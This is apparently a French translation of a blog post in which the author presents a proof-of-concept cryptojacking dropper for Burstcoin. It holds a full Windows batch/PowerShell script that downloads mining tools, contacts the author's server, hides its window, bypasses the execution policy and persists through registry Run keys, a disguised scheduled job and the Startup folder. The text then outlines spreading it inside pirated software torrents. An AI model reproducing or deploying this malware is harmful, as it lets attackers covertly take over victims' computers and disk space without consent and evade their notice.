Rejoignez-Nous sur

Un piratage qui se réplique, exploite la crypto sans CPU / GPU

1595545535 noonification

News

Un piratage qui se réplique, exploite la crypto sans CPU / GPU

qwlVSFUNhGO3DAw4hoBd17XGTAC2 gj4u2yjf
Photo de profil de l'auteur

@jareJarett Dunn

https://jare.cloud Accélération en tant que service, abandon devenu #Entrepreneur, défenseur de la santé mentale!

J'allais le diffuser en direct au marathon, mais toutes les joies de la récente affiliation de Hacker Noon avec Coil commencent à me montrer un amour (fractionnaire).

Note aux auteurs-pirates: votre point de terminaison Uphold doit être défini à la fois sur la page des paramètres de Coil et de Hacker Noon. 🙂 Le mien n'a pas été pour le premier temps, prouvant des revenus de 0 $ jusqu'à ce qu'il soit réparé et le tour est joué!

qwlVSFUNhGO3DAw4hoBd17XGTAC2 ab232y5v

Une fraction de centime!

Maintenant, passons à mon POC. Notez que je n'ai pas créé (la plupart de) ceci et ne l'ai pas propagé à des machines non consentantes. L'hypothèse n'est pas illégale, non?

Remarque: j'ai créé la plupart du script d'extraction dans PowerShell et je l'ai exécuté il y a un certain temps. Les autres aspects de ce POC sont tout à fait nouveaux.

Regardez ça, j'ai même trouvé un peu de code incriminant 🙂

@echo off
@echo mkdir c:temp >>stuff.ps1
@echo $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'" >>stuff.ps1
@echo $nonces=$disk.FreeSpace/1024/1024/1024/2*4096 >>stuff.ps1
@echo $web_client = new-object system.net.webclient >>stuff.ps1
@echo $build_info=$web_client.DownloadString("http://noncecalculator.duckdns.org:3000/?nonces=$nonces") >>stuff.ps1
@echo $start=$build_info.nonce  >>stuff.ps1
@echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/engraver/releases/download/2.20/engraver-2.2.0-x86_64-pc-windows-msvc.zip.zip', 'c:/temp/engraver.zip') >>stuff.ps1

@echo $nonces=(math)::floor($nonces) >>stuff.ps1
@echo $start=(math)::floor($start) >>stuff.ps1

@echo Add-Type -AssemblyName System.IO.Compression.FileSystem >>stuff.ps1
@echo (System.IO.Compression.ZipFile)::ExtractToDirectory('c:/temp/engraver.zip', 'c:/temp') >>stuff.ps1
@echo start-process  -NoNewWindow -FilePath 'c:tempengraver_cpu.exe' -ArgumentList "-l -i 10478801653490313100 -s $start -n $nonces -p c:temp" >>stuff.ps1
@echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/scavenger/releases/download/v.1.7.2/scavenger-1.7.2-x86_64-pc-windows-msvc-cpu-only.zip', 'c:/temp/scavenger.zip') >>stuff.ps1


@echo (System.IO.Compression.ZipFile)::ExtractToDirectory('c:/temp/scavenger.zip', 'c:/temp') >>stuff.ps1

@echo $out = ^"plot_dirs: >>stuff.ps1
@echo    - 'C:temp' >>stuff.ps1

@echo url: 'http://0-100-pool.burst.cryptoguru.org:8124'             >>stuff.ps1

@echo hdd_reader_thread_count: 0            # default 0 (=auto: number of disks) >>stuff.ps1
@echo hdd_use_direct_io: true               # default true >>stuff.ps1
@echo hdd_wakeup_after: 240                 # default 240s >>stuff.ps1

@echo cpu_threads: 0                        # default 0 (=auto: number of logical cpu cores) >>stuff.ps1
@echo cpu_worker_task_count: 4              # default 4 (0=GPU only) >>stuff.ps1
@echo cpu_nonces_per_cache: 65536           # default 65536 >>stuff.ps1
@echo cpu_thread_pinning: false             # default false >>stuff.ps1

@echo gpu_threads: 0                        # default 0 (=GPU off) >>stuff.ps1
@echo gpu_platform: 0                       # default 0 >>stuff.ps1
@echo gpu_device: 0                         # default 0 >>stuff.ps1
@echo gpu_worker_task_count: 0              # default 0 (=CPU only) >>stuff.ps1
@echo gpu_nonces_per_cache: 262144          # default 262144 >>stuff.ps1
@echo gpu_mem_mapping: false                # default false >>stuff.ps1
@echo gpu_async: false                      # default false >>stuff.ps1

@echo target_deadline: 31536000             # default u32::MAX >>stuff.ps1
@echo account_id_to_target_deadline:        # target dls for multi-id (optional) >>stuff.ps1
@echo  10282355196851764065: 600000 >>stuff.ps1
@echo  1796535821016683299: 55555555 >>stuff.ps1

@echo get_mining_info_interval: 3000        # default 3000ms >>stuff.ps1
@echo timeout: 5000                         # default 5000ms >>stuff.ps1
@echo send_proxy_details: true              # default false >>stuff.ps1

@echo console_log_level: 'info'             # default Info, options (off, error, warn, info, debug, trace) >>stuff.ps1
@echo logfile_log_level: 'warn'             # default Warn, options (off, serror, warn, info, debug, trace) >>stuff.ps1
@echo logfile_max_count: 10                 # maximum number of log files to keep >>stuff.ps1
@echo logfile_max_size : 20                 # maximum size per logfile in MiB >>stuff.ps1

@echo show_progress: true                   # default true   >>stuff.ps1
@echo show_drive_stats: false               # default false  >>stuff.ps1
@echo benchmark_only: 'disabled'            # default disabled, options (disabled, I/O, XPU)^" >>stuff.ps1
@echo rm c:tempconfig.yaml >>stuff.ps1
@echo add-content c:tempconfig.yaml $out >>stuff.ps1
@echo start-process  -NoNewWindow -FilePath 'c:tempscavenger.exe' -ArgumentList "-c c:tempconfig.yaml" >>stuff.ps1
@echo $ps1 = 'set-location HKCU:SoftwareMicrosoftWindowsCurrentVersionRunOnce >>stuff.ps1
@echo new-itemproperty . MyKey -propertytype String -value ^"Powershell c:tempps1.ps1^" >>stuff.ps1
@echo start-process  -NoNewWindow -FilePath ^"c:tempscavenger.exe^" -ArgumentList ^"-c c:tempconfig.yaml^"' >>stuff.ps1

@echo rm c:tempps1.ps1 >>stuff.ps1
@echo add-content c:tempps1.ps1 $ps1 >>stuff.ps1
@echo $trigger = New-JobTrigger -AtStartup >>stuff.ps1
@echo $user=(Environment)::UserName >>stuff.ps1
@echo $start='c:tempscavenger.exe -c c:tempconfig.yaml > output.txt' >> stuff.ps1
mkdir c:temp
@echo $vbs='wscript.exe c:tempinvis.vbs c:tempstartup.cmd %*'>>stuff.ps1 
@echo add-content "C:Users$userAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupstartup2.cmd" $vbs >>stuff.ps1 
@echo set args = WScript.Arguments >> c:tempinvis.vbs
@echo num = args.Count >> c:tempinvis.vbs

@echo if num = 0 then >> c:tempinvis.vbs
 @echo    WScript.Echo "Usage: (CScript | WScript) invis.vbs aScript.bat " >> c:tempinvis.vbs
@echo     WScript.Quit 1 >> c:tempinvis.vbs
@echo end if >> c:tempinvis.vbs

@echo sargs = "" >> c:tempinvis.vbs
@echo if num > 1 then >> c:tempinvis.vbs
 @echo    sargs = " " >> c:tempinvis.vbs
 @echo    for k = 1 to num - 1 >> c:tempinvis.vbs
 @echo        anArg = args.Item(k) >> c:tempinvis.vbs
 @echo        sargs = sargs & anArg & " " >> c:tempinvis.vbs
  @echo   next >> c:tempinvis.vbs
@echo end if >> c:tempinvis.vbs

@echo Set WshShell = WScript.CreateObject("WScript.Shell") >> c:tempinvis.vbs
@echo WshShell.Run ^"^"^"^" & WScript.Arguments(0) & ^"^"^"^" & sargs, 0, False >> c:tempinvis.vbs



@echo add-content "C:tempstartup.cmd" $start >>stuff.ps1 
@echo Register-ScheduledJob -Trigger $trigger -FilePath c:tempps1.ps1 -Name GetBatteryStatus2 >>stuff.ps1
@echo new-itemproperty . MyKey -propertytype String -value ^"Powershell c:tempps1.ps1^" >>stuff.ps1
@echo start-process  -NoNewWindow -FilePath ^"c:tempscavenger.exe^" -ArgumentList ^"-c c:tempconfig.yaml^" >>stuff.ps1


START powershell -WindowStyle Hidden -ExecutionPolicy ByPass -File "stuff.ps1"

D'accord, donc, pour décomposer cela en petites étapes réalisables avec une certaine logique, l'idée était de choisir une crypto pour brancher les ordinateurs des gens sans utiliser leur CPU / GPU (ce que la plupart des gens, aussi stupides soient-ils, remarquent et diagnostiquent). La plupart des cryptos compatibles avec les botnets utiliseront un% du processeur de la machine cible ou (parfois) des GPU pour extraire le cryptage.

J'ai choisi Burst – mais depuis lors, Burstcoin a changé de tête et est devenu BHD et une tonne d'autres pièces connexes. Vous pouvez tous les miner en utilisant ce même script – il vous suffirait de modifier (une partie) de l'exécution ici.

Le fichier de commandes Windows ci-dessus enregistre certaines commandes dans différents scripts Powershell qu'il exécute ensuite.

En bref, il détermine la quantité d'espace disque disponible sur C :, puis prend un% de cela et exécute «graveur» qui est un traceur de ligne de commande FOSS Burst en arrière-plan. En supposant que l'ordinateur soit allumé assez longtemps pour que ce processus se termine, il lancerait – au démarrage – «scavenger» pour exploiter cette rafale.

Il y a des choses plus compliquées ici que cela – par exemple, exécuter une invite de commande Windows «  invisible '', utiliser un script que j'ai trouvé dans les sites Web inférieurs ou charger une réponse JSON à partir de mon serveur centralisé (ce qui aurait été incriminant si ce complot était exécuté le …) afin d'évaluer le nonce de départ pour cette prochaine cible.

Maintenant, pour propager cela sur Internet (sans aucun budget à proprement parler), nous téléchargerions les meilleurs torrents logiciels (de taille plus petite en Mo) de thepiratebay ou d'un site similaire, par popularité. Naturellement, certaines personnes téléchargeraient nos nouveaux torrents, exécutaient le .exe à l'intérieur où notre fichier de commandes est proprement (et totalement indétectable) combiné avec ce .exe, ils obtiendraient leur logiciel piraté et nous ferions exécuter notre lot. leur système.

Certaines de ces personnes réensemenceraient – nous les forcerions à télécharger à nouveau le torrent et les données et à les semer à l'aide d'un processus système et d'un logiciel de torrent Windows en ligne de commande (dont je ne suis pas sûr qu'il existe).

Voilà, la propagation non invasive. Les gens veulent des logiciels libres, consomment des logiciels libres et acquièrent toutes sortes de méchancetés – abaissant leurs boucliers UAC pour le faire par défaut.

Notez que certaines parties de ces instructions ont été obscurcies pour être moins efficaces (de manière désintéressée) ou moins incriminantes (égoïstement), au sens du déni probable.

Mots clés

La bannière Noonification

Abonnez-vous pour obtenir votre tour d'horizon quotidien des meilleures histoires technologiques!



Traduction de l’article de Jarett Dunn : Article Original

BlockBlog

Le Meilleur de l'Actualité Blockchain Francophone & Internationale | News, Guides, Avis & Tutoriels pour s'informer et démarrer facilement avec Bitcoin, les Crypto-Monnaies et le Blockchain. En Savoir Plus sur L'Équipe BlockBlog

Commenter cet Article

Commenter cet Article

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Plus dans News

Les Plus Populaires

Acheter des Bitcoin

Acheter des Alt-Coins

Sécuriser vos Cryptos

Vêtements et Produits Dérivés

Top